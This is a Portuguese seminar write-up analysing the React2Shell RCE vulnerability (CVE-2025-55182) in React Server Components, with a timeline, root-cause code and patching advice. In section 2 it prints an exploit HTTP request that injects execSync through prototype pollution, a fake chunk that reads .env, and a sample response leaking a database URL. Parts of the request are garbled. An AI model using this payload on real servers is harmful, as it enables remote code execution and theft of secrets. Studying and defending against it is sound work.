React2Shell (CVE-2025-55182)

Seminário técnico WooriFISA 6ª edição - Equipe 3: Análise e pesquisa da vulnerabilidade de execução remota de código (RCE) explorando a falha de design do React Server Component (RSC), React2Shell

Equipe

Índice (Conteúdo)

1. Visão geral: O que é React2Shell?
2. Mecanismo de ataque do React2Shell
3. Impacto do React2Shell
4. Responsabilidade de segurança no frontend

01. Visão geral: O que é React2Shell?

React2Shell(CVE-2025-55182) é uma vulnerabilidade crítica de segurança descoberta no processo de comunicação do Flight Protocol usado pelo React Server Component (RSC).

• Problema central: O atacante pode executar comandos internos no servidor com uma única requisição HTTP, sem autenticação.
• Gravidade: CVSS Score 10.0
• Causa raiz: Prototype Pollution ocorrido durante o processo de desserialização de dados não confiáveis.

Falha de design do Flight Protocol

Para processar componentes, o React usa o Flight Protocol, que suporta tipos complexos como Promise, Blob, Map além de strings e arrays.

O atacante explora as vulnerabilidades nessa forma de processamento do fluxo do protocolo para injetar scripts maliciosos e obter controle do servidor.

Timeline

• 2025.11.29: Primeiro relatório via Meta Bug Bounty
• 2025.11.30: Confirmação pela equipe de segurança e início da colaboração com a equipe React
• 2025.12.01: Desenvolvimento de código de patch e validação por parceiros (Vercel, etc.)
• 2025.12.03: Distribuição do patch e divulgação do CVE

02. Mecanismo de ataque do React2Shell

• O método de ataque mais comum é explorar o sistema de referência do React Flight Protocol sem condições prévias.
• O ataque consiste em três etapas: Instalação da bomba (envio de payload) → Ignição (desserialização) → Explosão (execução de RCE).

1) Instalação da bomba

O atacante envia dados JSON para o servidor por meio de uma requisição contendo os cabeçalhos Next-Action e multipart/form-data. Nesse processo, inclui um chunk falso (Fake Chunk) disfarçado de objeto Promise no corpo da requisição.

POST / HTTP/1.1
Host: localhost: 3000

[... 기타 헤더 생략 ...]

Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

------WebKitFormBoundary7MA4YWxkTrZu0gW

Content-Disposition: form-data; name="0"
{"then": "$1: __proto__: then", "status": "resolved_model" , "reason": -1, "value": "{\"then\": \"$B0\"}" , "_response":
f"_prefix": "var res = process mainModule.require('child_process'). execSync('실행할 명령어',
{'timeout': 5000}). toString(). trim(); throw Object.assign(new Error( 'NEXT_REDIRECT'), {digest: ${res} });" {"get":"$1: constructor: constructor"}}}

------WebkitFormBoundary7MA4YWxkTrZu0gW

Content-Disposition: form-data; name="1"
"$@0"

------WebKitFormBoundary7MA4YWxkTrZu0gW--
'_formData":

2) Ignição

// 공격자가 전송한 가짜 청크 예시
{
	"then" : "$1:__proto__:then"
	"status" : "resolved_model",
	"reason" : -1,
	"value" : "{\"then\":\"$B0\"}",
	"_response" : {
		"_prefix": "execSync('cat .env'); //",
		"_formData":{"get": "$1:constructor:constructor"}
	}
}

1. O then do chunk falso enviado pelo atacante é mapeado para Chunk.prototype.then.
2. Durante a desserialização dos dados Blob, o código malicioso contido em _prefix é passado como argumento para Function.
3. No momento em que a função gerada é chamada como thenable de uma Promise, o código arbitrário colocado pelo atacante é executado no servidor.

3) Explosão

// POST 요청에 대한 응답 예시
500
0:{"a":"$@1","f":"","b":"sDAZnkg0U4tReIQ4vYjJS"}
1:E{"digest":**"DATABASE_URL='...'"**}

Causa raiz

// ReactFlightReplyServer.js - getOutlinedModel() 
for (let i = 1; i < path.length; i++) {
  value = value[path[i]];  // 여기서 hasOwnProperty check가 누락됨!
}

• Ao interpretar referências no formato $1:path:to:value, o React divide a string pelo caractere dois pontos (:) e percorre o interior do objeto.
• Nesse processo, ao interpretar $1:__proto__:then, é possível acessar o protótipo do chunk e o then desse objeto (Chunk.prototype.then).
• Por fim, o chunk falso enviado pelo atacante acaba obtendo o then do chunk real, fazendo com que o código pretendido pelo atacante seja executado.

03. Impacto do React2Shell

Esta vulnerabilidade causou grandes repercussões em todo o ecossistema web moderno.

• Dano à confiabilidade dos componentes de servidor: Desencadeou discussões sobre "O framework frontend deve ser responsável também pela segurança do servidor?"
• Emergência em plataformas de hospedagem: Principais fornecedores de PaaS que suportam RSC, como Vercel e Netlify, realizaram patches de segurança urgentes.

04. Responsabilidade de segurança no frontend

O incidente React2Shell deixou a lição de que "desenvolvedores frontend também devem entender segurança de servidores".

Medidas de resposta

1. Atualizar imediatamente os pacotes relacionados ao React

Atualizar imediatamente os pacotes relacionados, como react-server-dom-webpack, para a versão mais recente (19.0.1+, etc.)

2. Verificar a disponibilidade de patches do framework

Frameworks que incorporam RSC, como Next.js, não são resolvidos apenas atualizando o React; é necessário verificar as notas de lançamento de segurança do próprio framework e atualizar para a versão mais recente.

3. Monitoramento

Utilizar sistemas de monitoramento como Grafana e conectar a mídias que possam enviar alertas, como e-mail e Slack, configurando alarmes para que medidas imediatas possam ser tomadas.

Com o avanço da tecnologia, a área do frontend se expandiu e, consequentemente, o escopo da responsabilidade pela segurança também se ampliou, e é necessário reconhecer isso.

Referências

Patch Oficial do React

React2Shell: Guia completo de análise da vulnerabilidade CVE-2025-55182

Análise da vulnerabilidade de componentes de servidor React e caminhos de penetração do sistema

PoC: Código de prova de conceito da vulnerabilidade